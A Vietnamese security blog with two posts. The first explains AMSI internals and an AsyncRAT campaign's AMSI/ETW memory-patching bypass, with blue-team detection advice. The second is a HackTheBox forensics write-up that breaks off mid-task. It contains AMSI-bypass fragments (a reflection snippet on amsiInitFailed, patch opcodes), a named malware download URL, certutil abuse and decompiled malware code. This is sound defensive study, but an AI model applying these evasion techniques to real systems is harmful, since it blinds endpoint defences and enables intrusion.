SawG23

AMSI Bypass - Nguyên lý cốt lõi và góc nhìn của BlueTeam

Tue, 23 Jun 2026 00:00:00 GMT

Antimalware Scan Interface (AMSI) là lá chắn đắc lực của Microsoft giúp phát hiện và ngăn chặn fileless malware hay các script độc hại (PowerShell, VBScript) chạy trực tiếp trên bộ nhớ. Tuy nhiên, trong cuộc đua bảo mật, kẻ tấn công luôn tìm cách vượt mặt cơ chế này bằng nhiều kỹ thuật tinh vi, từ làm rối mã (Obfuscation) đến can thiệp trực tiếp vào bộ nhớ (Memory Patching). Trong blog này, chúng ta sẽ đi sâu vào cơ chế hoạt động của AMSI, khám phá các kỹ thuật bypass phổ biến và phân tích thực tế một số mẫu mã độc áp dụng phương pháp này.

1. Antimalware Scan Interface là gì?

theo tài liệu của microsoft Đại khái thì:

AMSI (Windows Antimalware Scan Interface) là một chuẩn interface trung gian cho phép các ứng dụng tích hợp trực tiếp với bất kỳ phần mềm diệt virus (AV) nào trên hệ thống để tăng cường khả năng bảo vệ.

Các đặc điểm cốt lõi:

Độc lập (Vendor-agnostic): Tương thích với mọi hãng phần mềm diệt virus.
Quét đa nền tảng: Hỗ trợ quét tệp tin, bộ nhớ (memory), luồng dữ liệu (stream) và kiểm tra mức độ uy tín của URL/IP.
Tương quan theo phiên (Session-based): Cho phép phần mềm AV xâu chuỗi và phân tích các mảnh payload rời rạc trong cùng một phiên hoạt động, giúp phát hiện các kỹ thuật lẩn tránh tinh vi một cách chính xác hơn so với việc quét đơn lẻ.

Một số thành phần tích hợp với AMSI là:

User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
PowerShell (scripts, interactive use, and dynamic code evaluation)
Windows Script Host (wscript.exe and cscript.exe)
JavaScript and VBScript
Office VBA macros

2. AMSI hoạt động như thế nào?

Tầng Ứng dụng: Các chương trình như PowerShell hoặc VBScript gửi dữ liệu thô (script chưa mã hóa) xuống hệ thống để yêu cầu kiểm tra.
Win32 API: Dữ liệu đi vào thư viện AMSI.dll thông qua các hàm như AmsiScanBuffer() hoặc AmsiScanString().

Đây là điểm yếu thường bị tấn công nhất. Attacker thường dùng Memory Patching can thiệp trực tiếp vào AmsiScanBuffer để ép hàm này trả về kết quả "An toàn" ngay lập tức.

COM & Provider: AMSI.dll sẽ kiểm tra Registry xem máy tính đang dùng Antivirus nào (Windows Defender hay hãng thứ 3) để chuyển hướng yêu cầu đến đúng provider tương ứng.
RPC: Dữ liệu được truyền qua kênh RPC (Remote Procedure Call) để đi từ tiến trình của ứng dụng sang tiến trình của phần mềm diệt virus một cách độc lập.
Scan Engine: Tiến trình diệt virus (ví dụ MsMpEng.exe của Defender) sẽ tiếp nhận dữ liệu, thực hiện quét (signature, heuristic) và trả về "phán quyết" cuối cùng (Sạch hay Độc hại) để ứng dụng quyết định việc thực thi.

3. Phân tích amsi.dll với IDA

Để phân tích sâu hơn thì chúng ta dùng ida và load amsi.dll để phân tích amsi.dll có thể dễ dàng tìm thấy ở thư mục System32, copy ra thư mục ngoài để phục vụ phân tích.

3.1. AmsiInitialize()

Khi một tiến trình (như powershell.exe) vừa khởi chạy, nó chưa thể quét mã độc ngay. Việc đầu tiên nó làm là gọi hàm AmsiInitialize để "đánh thức" AMSI. Quá trình này diễn ra qua 3 bước cốt lõi:

3.1.1. Cấp phát amsiContext và Magic Header

Sau khi xin hệ điều hành một vùng nhớ (CoTaskMemAlloc), AMSI lập tức đóng dấu vào 4 byte đầu tiên với giá trị là 0x49534D41, tương đương với chuỗi ASCII "AMSI".
Ở phần AmsiScanBuffer tiếp theo, chúng ta sẽ thấy hệ thống kiểm tra lại chính "con dấu" này để đảm bảo dữ liệu không bị giả mạo trước khi cho phép quét.

3.1.2. Caller Identification

Process gọi phải cung cấp tên định danh thông qua tham số appName (ví dụ: chuỗi "PowerShell"). Chuỗi dữ liệu này được sao chép trực tiếp vào vùng nhớ và liên kết vào thuộc tính thứ hai của cấu trúc Context.

3.1.3. Khởi tạo Engine Scan COM

AMSI sử dụng định danh CLSID_Antimalware để truy vấn Windows Registry, qua đó xác định module Antivirus Provider nào đang được ủy quyền trên hệ thống (Windows Defender, CrowdStrike, Kaspersky...). API DllGetClassObject sẽ trả về một đối tượng COM Factory (ppv).

Ngay sau đó, quá trình VTable Dispatching được thực thi:

Bằng cách gọi phương thức tại offset +24 (tương ứng với hàm CreateInstance trong cấu trúc COM), AMSI yêu cầu Provider khởi tạo một object IAntimalware. Object này đại diện cho engine phân tích lõi của AV — sau đó được ánh xạ vào vị trí thứ ba (v9 + 4) trong cấu trúc Context.

Với AMSICONTEXT đã được cấp phát và liên kết thành công với Antivirus Provider. Ở giai đoạn tiếp theo, cấu trúc dữ liệu này sẽ được truyền vào hàm AmsiScanBuffer()

3.2. AmsiScanBuffer()

Sau khi AmsiInitialize thiết lập xong kênh liên lạc và tạo ra một amsiContext hoàn chỉnh, hệ thống đã sẵn sàng. Khi một process cố gắng thực thi mã (script, macro), dữ liệu thô sẽ được đẩy vào AmsiScanBuffer()

3.2.1. `Validate đầu vào` — cũng là điểm yếu của `amsi.dll`

Hàm kiểm tra tuần tự buffer, length, result, amsiContext, magic signature, provider pointer. Tất cả nhánh fail đều trả về cùng một mã E_INVALIDARG (0x80070057). → Đây chính là cơ sở của kỹ thuật "AMSI patch bypass": chỉ cần ép hàm nhảy thẳng vào nhánh return sớm này (patch vài byte đầu function), nội dung sẽ không bao giờ đến AV engine mà vẫn trả mã lỗi như đang hoạt động bình thường — rất khó phát hiện bằng cách kiểm tra return code đơn thuần.

3.2.2. `CAmsiBufferStream`

AMSI không truyền buffer thô cho AV. Nó dựng một object ngay trên stack (gán thủ công con trỏ vtable), bọc (buffer, length) thành dạng stream chuẩn — giống cách COM IStream hoạt động. Đây là Abstract Class giúp mọi AV vendor xử lý dữ liệu theo cùng một interface, bất kể nguồn gốc (script, macro, JS...).

3.2.3. `Dispatch qua vtable`

Offset +24 (slot thứ 4, sau QueryInterface/AddRef/Release) chính là phương thức Scan() của interface IAntimalwareProvider. Tóm lại toàn bộ đoạn code này tương đương: return v10->Scan(&streamObject, result, 0);

AMSI thực chất chỉ là một lớp trung gian (broker), nó hoàn toàn không phải là một engine quét mã độc. Nhìn vào mã Assembly, ta thấy nó chỉ làm đúng 3 việc: Xác thực context (Magic Header) → Đóng gói dữ liệu (CAmsiBufferStream) → Gọi VTable của AV Provider (hàm Scan).

Vì vậy, mọi kỹ thuật bypass AMSI đều tập trung vào việc "bịt mắt" hoặc "cắt đứt" luồng giao liên này trước khi dữ liệu kịp chạm đến engine quét thực sự (như Windows Defender).

4. AMSI kết hợp cùng ETW

Một trong những vấn đề đau đầu nhất của phân tích mã độc là xử lý các đoạn script bị làm rối (Obfuscated). Kẻ tấn công liên tục đổi mới phương thức mã hóa nhằm qua mặt signature của Antivirus. Tuy nhiên, chúng vướng phải một điểm nghẽn chí mạng ở kiến trúc hệ điều hành: CPU không thể chạy các đoạn mã Base64 hay bất kì phương thức obfuscate nào. Script bắt buộc phải được giải mã để chạy bình thường.

Chính tại khoảnh khắc payload hiện nguyên hình trên RAM, AMSI sẽ can thiệp. Thay vì mòn mỏi ngồi dịch ngược các hàm giải mã tĩnh, chúng ta có thể "ngồi ôm cây đợi thỏ" nhờ vào sức mạnh của ETW (Event Tracing for Windows).

ETW là một cơ sở hạ tầng thu thập nhật ký (telemetry) tốc độ cao nằm sâu trong Kernel của Windows. Do AMSI được tích hợp sẵn như một ETW Provider, chúng ta có thể sử dụng công cụ dòng lệnh logman để ghi lại mọi động thái của nó:

logman start AMSITrace -p "Microsoft-Antimalware-Scan-Interface" -o AMSITrace.etl -ets

Khi quá trình kích hoạt mã độc kết thúc, chúng ta chỉ cần dừng phiên theo dõi:

logman stop AMSITrace -ets

File .etl thu được là một trong những artifact quan trọng khi phân tích các loại malware có sử dụng kĩ thuật bypass AMSI này. Nó cho chúng ta biết chính xác AMSI được gọi khi nào, engine nào đã kích hoạt nó, và quan trọng nhất: toàn bộ nội dung script nguyên bản trước khi thực thi.

Vì sample mã độc toi chọn nó bypass luôn ETW và vì khá lười để tìm sample khác, nên đây là blog trong các bạn muốn tìm hiểu thêm Accelerating Malicious Script Analysis with AMSI

5. Case study về kĩ thuật AMSI Bypass

5.1 Overview

Để hiểu rõ hơn về cách mà attacker vượt mặt AMSI, chúng ta sẽ phân tích sample mã độc AsyncRAT có sử dụng kỹ thuật Memory Patching, kết hợp vô hiệu hóa cả AMSI và ETW logging để tạo chuỗi bypass khá tinh vi và tiên tiến.

Theo cyble.com: Cyble Research and Intelligence Labs (CRIL) đã phát hiện một chiến dịch tấn công sử dụng các file LNK độc hại được ngụy trang thành wallpaper nhằm lừa người dùng thực thi chúng. Chiến dịch này được đặt tên "Ghost in the Shell" — một cái tên không phải ngẫu nhiên khi toàn bộ payload được thực thi hoàn toàn trong memory, không để lại dấu vết trên disk.

Cụ thể, các file LNK được thể hiện dưới dạng wallpaper anime với các nhân vật nổi tiếng như Sasuke và Itachi Uchiha từ Naruto — khai thác tâm lý và sở thích của người dùng để tăng xác suất bị lừa click.

5.2 Infection chain

Nguồn ảnh: Cyble - NULL AMSI: Evading Security to Deploy AsyncRAT

5.3 AMSI, ETW Bypass

Từ phân tích ở trên,ta biết được AmsiScanBuffer() có cấu trúc:

Validate đầu vào (magic signature, pointer checks)
Đóng gói dữ liệu thành CAmsiBufferStream
Dispatch qua vtable đến AV provider

Kỹ thuật bypass này tận dụng điểm yếu chính mà chúng ta đã xác định: nhánh return sớm trong validation.Nhưng thay vì chỉ patch AmsiScanBuffer, sample này đi sâu hơn — nó vô hiệu hóa AmsiInitialize, hàm khởi tạo context của AMSI mà chúng ta đã nói ở trên:

Nó đang sử dụng kĩ thuật Hex Byte Array Encoding nhằm vượt qua các cơ chế kiểm tra tĩnh và lấy địa chỉ AmsiInitialize thông qua reflection
Ngoài ra các chuỗi khác cũng dùng kĩ thuật Encoding tương tự

Tại sao chọn AmsiInitialize thay vì AmsiScanBuffer?

AmsiInitialize là pinch point duy nhất: Mỗi khi PowerShell khởi động, nó bắt buộc phải gọi AmsiInitialize để tạo context handle (systemContext) — đây là cơ sở của toàn bộ luồng quét sau này.
Vô hiệu hóa từ gốc: Bằng cách patch AmsiInitialize trả về S_OK (0) nhưng không thực tế tạo context hợp lệ, các hàm quét tiếp theo sẽ phải xử lý một context "rỗng" — và hầu hết code AV không prepare cho scenario này.

5.3.1. AMSI - Opcode Patching

Opcode cần patch: "mov eax, 0; ret" (6 bytes)
Bước 1: Loại bỏ write protection
- VirtualProtect (PAGE_EXECUTE_READWRITE): Gọi API VirtualProtect() để thay đổi quyền truy cập của vùng bộ nhớ chứa hàm AmsiInitialize từ RX (chỉ đọc/thực thi) sang RWX (đọc/ghi/thực thi). Điều này là bắt buộc vì Windows kernel mặc định chặn ghi dữ liệu vào code section.
Bước 2: Ghi opcode mới vào bộ nhớ Copy 6 bytes opcode vào vùng nhớ của AmsiInitialize. Opcode 0xb8 0x00 0x00 0x00 0x00 0xc3 tương ứng với x86 assembly:
- 0xb8 = MOV EAX
- 0x00 0x00 0x00 0x00 = value 0 (HRESULT thành công)
- 0xc3 = RET Kết quả: hàm sẽ luôn trả về S_OK (0) mà không thực hiện công việc thực sự — một "return statement bịp" về mặt logic.
Bước 3: Verify
- Đọc lại từng byte vừa ghi để kiểm tra patch có thành công hay không. Điều này cực kỳ quan trọng vì: Một số hệ thống có Data Execution Prevention (DEP) hoặc đã patch Windows kernel để chặn việc ghi vào code section
- Nếu verification fail, script thoát ngay thay vì tiếp tục với một patch bị lỗi
Bước 4: Khôi phục write protection
- Đổi quyền truy cập ngược lại từ RWX sang RX. Kỹ thuật này là anti-forensic — nó che giấu dấu vết của quá trình patch bằng cách khôi phục lại tình trạng ban đầu của memory page.

5.3.2. Vô hiệu hóa ETW Event Logging

Nhưng đó chưa phải hết. Ở phần trên chúng ta đã thảo luận rằng ETW là deep kernel infrastructure — nó ghi lại hầu như mọi thứ, bao gồm cả nội dung script được AMSI scan. Để tránh để lại dấu vết hoàn toàn, script tiếp tục:

EtwEventWrite (ntdll.dll) là hàm kernel-mode gateway — mọi ETW event từ user-mode đều phải đi qua đây.
Patch nó để return ngay lập tức = mọi ETW event sẽ bị "quất:))" trước khi kịp ghi vào kernel log.
Sau stage này, ngay cả logman cũng sẽ không thấy bất kỳ artifact nào.

5.3.3 một số kĩ thuật khác

Accessing Undocumented APIs

Indirect API Call

ARCHITECTURE-AWARE

vì các kĩ thuật trên không nằm trong topic của blog, nên toi sẽ không đi sâu vào nó, các bạn có thể tải sample và tự nghiên cứu thêm.

5.4. Kraken - Sherlock HackTheBox

Trong lúc research về kĩ thuật này, toi vô tình nhận ra, sample mà author dùng trong challenge rất tương đồng với AsyncRAT (chỉ khác về tên biến, một vài syntax). Có vẻ author đã lấy ý tưởng về chiến dịch lần này của asyncRAT. Challenge này toi có đã có làm một writeup về nó, các bạn có thể tham khảo.

6. Góc nhìn của Blue Team

Sau khi đi qua toàn bộ cơ chế hoạt động của AMSI và các kỹ thuật attacker dùng để vô hiệu hóa nó, câu hỏi cần đặt ra là: nếu AMSI đã bị blind, chúng ta còn có thể detect từ đâu?Câu trả lời nằm ở một nguyên tắc cốt lõi: dù attacker có bypass được AMSI hay ETW, hành vi thao túng bộ nhớ vẫn để lại dấu vết ở tầng thấp hơn — nơi mà các kỹ thuật evasion thông thường không với tới được. Ngoài ra trước khi bypass thành công, thì với những hành vi thao tác bộ nhớ, chúng đã để lại các artifact rất rõ ràng trên hệ thống.

6.1. Sysmon Event ID 10

Mọi kỹ thuật AMSI bypass theo hướng memory patching — dù là patch AmsiScanBuffer, AmsiInitialize, hay AmsiOpenSession — đều phải trải qua một bước không thể bỏ qua: truy cập vào vùng nhớ của amsi.dll đang được load trong process đích để ghi đè opcode. Sysmon ghi lại hành vi này qua EID 10 — ProcessAccess, hoạt động qua kernel driver riêng (SysmonDrv), hoàn toàn độc lập với ETW pipeline của AMSI. Đây là lý do EID 10 trở thành nguồn artifact đáng tin cậy nhất: dù EtwEventWrite trong ntdll.dll bị patch, Sysmon vẫn ghi log bình thường vì nó không đi qua con đường đó. Điểm cần chú ý trong CallTrace: khi patch xảy ra từ unbacked memory — tức là vùng nhớ không được map với bất kỳ module nào trên disk — đây là dấu hiệu mạnh của shellcode hoặc reflective loading. Kết hợp với TargetImage trỏ vào các script host như powershell.exe, wscript.exe, cscript.exe, pattern này gần như chắc chắn là malicious.

Dù mạnh mẽ, sysmon ID 10 tồn tại một nhược điểm lớn: Chỉ nhạy với Cross-Process và hoàn toàn bất lực trước kỹ thuật Self-Patching. Khi một biến thể mã độc tự can thiệp vào bộ nhớ của chính nó (Intra-process) bằng cách gọi trực tiếp các API thông qua pseudo-handle, luồng thực thi hoàn toàn bypass qua cơ chế ObRegisterCallbacks của Sysmon driver ở tầng Kernel. Trong kịch bản này, ID 10 sẽ trả về con số 0 tròn trĩnh, buộc chúng ta phải chuyển hướng sang phối hợp với các lớp phòng thủ khác như PowerShell EID 4104.

6.2. PowerShell Script Block Logging — Event ID 4104

Để hiểu tại sao EID 4104 quan trọng, cần hiểu trước một constraint mà attacker không thể tránh khỏi. Các script host như VBScript (wscript.exe, cscript.exe) hay mshta.exe bị giới hạn nghiêm ngặt về khả năng tương tác với bộ nhớ hệ thống. Chúng không có native access đến các API như VirtualProtect, Marshal.Copy, hay reflection để truy cập internal field của .NET runtime. Muốn thao túng sâu vào bộ nhớ — tức là muốn thực hiện memory patching lên amsi.dll — attacker bắt buộc phải leo lên PowerShell.

PowerShell chạy trên .NET runtime, có đầy đủ quyền truy cập vào System.Runtime.InteropServices, System.Reflection, P/Invoke, và toàn bộ Win32 API surface. Đây là môi trường duy nhất trong Windows scripting stack cho phép attacker làm những việc như:

# Truy cập internal field của .NET runtime qua reflection
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')

# Gọi Win32 API trực tiếp qua P/Invoke
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(...)
VirtualProtect($addr, 6, 0x40, [ref]$old)

EID 4104 ghi lại payload tại thời điểm PowerShell engine đã làm hết phần decode thay cho chúng ta, và nó xuất hiện trước khi attacker kịp làm bất cứ điều gì để xóa dấu vết.

Nhìn vào hai mẫu log thu thập được từ quá trình thực thi AsyncRAT, chúng ta có thể thấy rõ chiến thuật phân lớp của kẻ tấn công:

Khối mã nguồn sau khi giải mã (lưu trữ trong biến $injectionCode) chứa đựng toàn bộ logic P/Invoke và Reflection nhằm vô hiệu hóa AMSI và ETW (chi tiết tại Ảnh 2). Tại đây, Event ID 4104 thể hiện rõ vai trò trọng yếu: Ghi nhận chính xác khoảnh khắc Loader thực thi quá trình de-obfuscation Base64, bóc được payload lõi ngay trước khi mã độc kịp vô hiệu hóa các lá chắn phòng thủ của hệ thống.

Bức ảnh thứ hai chính là nội dung của $injectionCode đã được giải mã, đây là toàn bộ logic cốt lõi để bypass AMSI/ETW mà chúng ta đã phân tích ở phần 5.3.

Để khám phá thêm sự đa dạng của các attack surface, các bạn có thể tham khảo thêm repository Amsi-Bypass-Powershell . Đây là một dự án tổng hợp hệ thống các kỹ thuật bypass AMSI tiên tiến dành riêng cho mục đích nghiên cứu.

Tóm lại, với những chia sẻ trên thì toi cũng coi như có cái note để đọc lại khi quên và cũng mong là nó giúp ích gì đó cho các bạn. Đến đây thì blog cũng đã dài. Cảm ơn các bạn đã dành thời gian để đọc đến đây. Chúc một ngày tốt lành

(\_/)

(•.•)

(>☕

SawG, a.k.a EagleBoiz

🔍 Indicators of Compromise (IOCs)

Type	Indicator / Value
SHA256	`04fc833b59af93308029d3e87c85e327a1e480508bc78b6a4e46c0cbd65ea8dc`
File Name	`8KuV.ps1`

📚 Tài liệu tham khảo

https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
https://learn.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iantimalwareprovider
https://porotnikov.com/post/windows/2023-09-05-understanding-amsi-the-antimalware-scan-interface-in-windows-systems/
https://theshadowslights.com/posts/malware-analysis/02/
https://cyble.com/blog/null-amsi-evading-security-to-deploy-asyncrat/

HackTheBox - Sherlocks - Easy Money

Mon, 13 Apr 2026 00:00:00 GMT

Đây là một challenge thuộc HackTheBox Sherlocks. Description của đề:

John is an employee at a mid-sized tech company. He works as a Senior IT support specialist, but his true passion is finding ways to make extra money. John is always on the lookout for giveaways, discounts, and any opportunity to earn a quick buck. He’s not particularly tech-savvy when it comes to cybersecurity, but he’s resourceful and knows how to follow online tutorials.

Recently, John came across an enticing giveaway that promised exciting rewards. However, when he opened the giveaway, he didn’t find or win anything. This made him suspicious that something might have gone wrong with his machine. Concerned about the unusual behavior, John has reached out to you, the investigator, to uncover what happened and whether his system has been compromised.

Phân tích context của đề một tí, thì chúng ta biết được rằng có vẻ nạn nhân đã bị phishing, hoặc vô tình kích hoạt mã độc khi mở file giveaway, dẫn đến máy của anh ta đã bị compromised. Oke bắt đầu tải attachment và giải quyết thoi

Attachment của đề cho ta được một thư mục evidence chứa ổ C đã được dump các artifact quan trọng thực trong việc hỗ trợ Forensics. Chúng ta tiến thành add evidence vào FTK Imager.

Trong context của đề, chúng ta biết được rằng victim đã dính phải mã độc sau khi mở file giveaway gì đấy, vậy nên lịch duyệt web là ứng cử sáng giá để bắt đầu. Trong bài này, victim dùng Edge browser nên lịch sử duyệt web sẽ nằm ở đường dẫn C:\Users\{user}\AppData\Local\Microsoft\Edge\User Data\Default\*

Vì file này là file SQLite3 nên chúng ta sẽ dùng DB Browser để mở file History này

Ở đây chỉ thấy victim search rất nhiều chủ đề về giveaway và download Yadex Browser và file Ultimate-Guide-to-Running-Giveaways.pdf, cũng không thấy có gì đáng ngờ.

tiếp theo xử dụng các tool của Zimmerman mở các artifact như file Journal ($J), prefetch, $MFT...

Với những bạn chưa biết, thì:

file $J được coi như là cuốn nhật ký của mọi file trên phân vùng NTFS. Nó ghi lại mọi biến đổi của của file/folder (Create, Delete, Rename,...) kèm theo mốc thời gian chính xác. Nó là một trong những artifact quan trọng phục vụ cho việc Forensics của chúng ta. Vị trí C:\$Extend\$J.

Ngoài ra chúng ta còn một artifact rất quan trọng khác là Prefetch. Cơ chế là Windows sẽ tạo ra các file Prefetch (.pf) để ghi nhớ các dữ liệu mà một ứng dụng cần khi khởi động, giúp lần mở sau nhanh hơn. Từ đó nó được dùng để chứng minh một ứng dụng đã từng được thực thi trên hệ thống hay chưa. Vị trí C:\Windows\Prefetch

dùng MFTECmd.exe để dump $J ra dạng file .csv

$MFT

Prefetch

Đã dump xong artifact quan trọng rồi, giờ dùng TimelineExplorer.exe để mở các thằng file này

oke, giờ chúng ta quay lại với các câu hỏi của bài

Task 1: At what exact time did the user execute the malicious shortcut file?

Thì mình đã tìm những file trong thư mục evidence mà đề cho chúng ta, thì có vẻ các file malicious đã bị xóa hoặc author không cung cấp cho chúng ta

Thư mục user Administrator không có gì cả

Nên buộc chúng ta phải dựa vào các artifact của hệ thống, mà ta đã dump ở trên

thì như context đã đề cập là có liên quan đến giveaway, ở artifact $J mình tìm thấy các file .lnk đáng ngờ

Ở mốc thời gian 2025-01-26 16:17:11 ta thấy được file 2025-GiveAways.lnk đã được ghi xuống

Dựa vào $MFT chúng ta cũng chứng minh được file đã được ghi xuống hệ thống.

Nhưng 2025-01-26 16:17:11 chỉ là thời gian file .lnk này xuất hiện. Còn đề hỏi chúng ta là thời gian execute. Vì thế chúng ta sẽ dựa vào Prefetch.

trong khoản mốc thời gian này Prefetch ghi nhận tiến trình CONHOST.EXE và POWERSHELL.EXE. Giả thiết là khi file được ghi ra vào 2025-01-26 16:17:11 thì sau đó 4 giây đã được user thực thi.

Đáp án: 2025-01-26 16:17:15

Task 2: The previous malicious file executed an initial payload. What is the full path of this payload?

Để biết cụ thể powershell được đề cập ở Task 1 đã thực thi lệnh gì, chúng ta dựa vào log Powershell.evtx

Có thể thấy powershell được thực thi để tải mã độc từ https://github.com/M4shl3/okiii/raw/main/svchost.exe sau đó ghi xuống Temp với tên là svch0st.exe sau đó thực thi, và xóa mã độc

Đáp án: C:\temp\svch0st.exe

Task 3: At what timestamp did the payload execute and grant the attacker shell access?

Trong phân tích Task 2, thì ta cũng có câu trả lời cho task này.

Đáp án: 2025-01-26 16:17:54

Task 4: What is the command line the attacker used to enumerate installed packages on the system?

Ở câu hỏi này, chúng ta cũng vẫn dựa vào log Powershell.evtx

đáp án: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command Get-Package

Task 5: Which application did the attacker identify as vulnerable?

Sau khi có được shell lúc 2025-01-26 16:17:54 attacker đã thực hiện các hành vi reconnaisance thông qua các lệnh như whoami, systeminfo, powershell.exe -Command Get-Package, ... thì sau đó chúng ta thấy được việc thực thi liên tiếp nhiều tiến trình BROWSER.EXE và SERVICE_UPDATE.EXE trong cùng 1-2 giây thường cho thấy hành vi exploit của attacker

Đáp án: YandexBrowser

Task 6: What version of that vulnerable application did the attacker identify?

Dựa vào path của Yadex Browser ta cũng đã biết được phiên bản

đáp án: 24.4.5.498

Task 7: What is the CVE associated with this vulnerability?

Khi đã có phiên bản rồi, thì việc tìm CVE khá là đơn giản

Tóm tắt về CCVE-2024-6473, thì đây là lỗ hổng DLL Hijacking Vulnerability vì sử dụng untrusted search path, hậu quả là mã độc có thể chạy dưới tiến trình của Yandex Browser.

Task 8: What is the name of the legitimate binary that the attacker used to deliver the malicious payload and establish persistence on the compromised system?

Khi nhắc đến các công cụ legitimate binary bị attacker lạm dụng thì chúng ta sẽ nghĩ nay đến LOLBins (Living off the Land Binaries)

Dành cho bạn nào chưa biết LOLBins là gì: https://medium.com/@MonlesYen/living-off-the-land-how-attackers-abuse-lolbins-and-how-to-stop-them-078cf7e798af

Lần theo các tiến trình được chạy trong khoảng thời gian bị tấn công, chúng ta có thể thấy là certutil.exe đã được sử dụng trong khoảng thời gian này. Thì certutil.exe là một trong những công cụ lolbins rất hay được attacker lạm dụng để tải xuống các file mã độc.

Các bạn có thể tìm hiểu thêm: https://lolbas-project.github.io/lolbas/Binaries/Certutil/ https://www.cybertriage.com/blog/dfir-breakdown-using-certutil-to-download-attack-tools/

Đại khái thì certutil có tính năng Certificate Revocation List (CRL) checking bằng cách tải chúng từ URL. Attacker lợi dụng tham số -urlcache để tải mã độc từ máy chủ C2. Từ đó vượt qua các policy bảo mật nghiêm ngặt của mạng nội bộ (Proxy/Firewall) vốn thường mở đường cho các yêu cầu liên quan đến cập nhật và xác thực chứng chỉ hệ thống.

Đáp án: certutil.exe

Task 9: What is the name of the malicious Portable Executable (PE) file that enabled him to accomplish his objective?

File PE đang được nhắc đến chính là file đã được tải xuống thông qua việc lạm dụng certutil.exe mà chúng ta đã bàn ở trên.

Trong blog mà mình đề cập ở trên có cung cấp các artifacts của certutil này.

Oke bắt đầu kiểm tra C/Users/Administrator/AppData/LocalLow/Microsoft/CryptnetUrlCache

Rõ ràng nó rất sus luôn, tự nhiên thư mục chứa các cert của hệ thống thì lòi ra 1 thằng PE:)))

cat file MetaData của thằng này là chúng ta sẽ biết được tên của nó.

đáp án: wldp.dll

Task 10: What is the SHA-256 hash of that malicious file?

Tiếp theo là tính sha256 hash thoi, khá đơn giản

đáp án: a1a17ebd90610d808e761811d17da3143f3de0d4cc5ee92bd66000dca87d9270

Task 11: How many milliseconds of cumulative coded sleep delays occurred before the C2 binary provided a shell after the vulnerable application was launched?

Bắt đầu từ câu này thì chúng ta cần phải reverse engineering con malware này.

Load vào ida

đề hỏi chúng ta thời gian sleep delays nên chúng ta sẽ bắt đầu check các thư viện được import

chúng ta thấy nó được hàm sub_1800748E0() gọi 2 lần

Tính tổng của 2 thằng này

Đáp án: 11000

Task 12: What is the mutex name used to ensure only one instance of the C2 binary runs at a time?

Trong hàm sub_1800748E0() đang gọi CreateMutexW

Mã độc tạo ra một Mutex có tên duy nhất là Global\YandaExeMutex. Nếu Mutex này đã tồn tại, nghĩa là một bản sao khác của mã độc đã đang chạy trên máy rồi nhằm mục đích thực hiện một kỹ thuật rất phổ biến trong mã độc gọi là Single Instance Enforcement (Đảm bảo chỉ có một bản sao chạy) để tránh xung đột.

Đáp án: Global\\YandaExeMutex

Task 13: What is the full path of the Command and Control (C2) Binary?

đoạn pseudocode của hàm sub_1800748E0():

__int64 sub_1800748E0()
{
  char *v0; // rdi
  __int64 i; // rcx
  HWND WindowW; // rax
  HANDLE CurrentProcess; // rax
  char v5[32]; // [rsp+0h] [rbp-50h] BYREF
  char v6; // [rsp+50h] [rbp+0h] BYREF
  HANDLE hObject; // [rsp+58h] [rbp+8h]
  struct _STARTUPINFOW StartupInfo; // [rsp+80h] [rbp+30h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [rsp+108h] [rbp+B8h] BYREF
  struct _STARTUPINFOW lpStartupInfo; // [rsp+140h] [rbp+F0h] BYREF
  struct _PROCESS_INFORMATION lpProcessInformation; // [rsp+1C8h] [rbp+178h] BYREF
  HWND v12; // [rsp+1F8h] [rbp+1A8h]
  char v13; // [rsp+2D4h] [rbp+284h]

  v0 = &v6;
  for ( i = 130i64; i; --i )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  v13 = 0;
  sub_180070FA3(&unk_18019909F);
  hObject = CreateMutexW(0i64, 1, L"Global\\YandaExeMutex");
  if ( !hObject
    || GetLastError() == 183
    || (StartupInfo.cb = 104,
        memset(&StartupInfo.lpReserved, 0, 0x60ui64),
        lpStartupInfo.cb = 104,
        memset(&lpStartupInfo.lpReserved, 0, 0x60ui64),
        (v12 = FindWindowW(0i64, L"Yandex Browser")) != 0i64) )
  {
    CloseHandle(hObject);
  }
  else
  {
    CreateProcessW(
      L"C:\\Users\\Administrator\\AppData\\Local\\Yandex\\YandexBrowser\\Application\\browser.exe",
      0i64,
      0i64,
      0i64,
      1,
      0,
      0i64,
      0i64,
      &StartupInfo,
      &ProcessInformation);
    Sleep(0x2710u);
    WindowW = FindWindowW(0i64, L"yanda.tmp");
    v12 = WindowW;
    if ( !WindowW )
    {
      v13 = 1;
      CreateProcessW(
        L"C:\\Users\\Administrator\\AppData\\Local\\Temp\\yanda.tmp",
        0i64,
        0i64,
        0i64,
        1,
        0,
        0i64,
        0i64,
        &lpStartupInfo,
        &lpProcessInformation);
      Sleep(0x3E8u);
    }
    CloseHandle(ProcessInformation.hProcess);
    CloseHandle(ProcessInformation.hThread);
    if ( !v13 )
      sub_18006E7BC("proc_info2");
    CloseHandle(lpProcessInformation.hProcess);
    CloseHandle(lpProcessInformation.hThread);
    CloseHandle(hObject);
    CurrentProcess = GetCurrentProcess();
    TerminateProcess(CurrentProcess, 0);
  }
  return sub_180070742(v5, &unk_180155D10);
}

Đầu tiên, nó khởi chạy trình duyệt Yandex hợp lệ: ...\browser.exe. Đây là hành vi tạo Decoy (vỏ bọc).
Sau khi sleep 10 giây thì nó sử dụng FindWindowW(0i64, L"yanda.tmp") để xem payload này đã chạy chưa.
Nếu chưa thấy cửa sổ của nó, mã độc gọi hàm CreateProcessW với đường dẫn cụ thể tại C:\\Users\\Administrator\\AppData\\Local\\Temp\\yanda.tmp

Đáp án: C:\\Users\\Administrator\\AppData\\Local\\Temp\\yanda.tmp

Task 14: What is the name of the C2 framework used by the attacker?

Quay lại với Prefetch thì chúng ta sẽ thấy Certutil được gọi đến 2 lần (16:36:51 và 16:36:11)

Tương ứng với các mốc thời gian thực thi này,artifact $J sẽ cho chúng ta thấy 2 file khác nhau

File cert Chính là file mà chúng ta đã reverse ở trên.
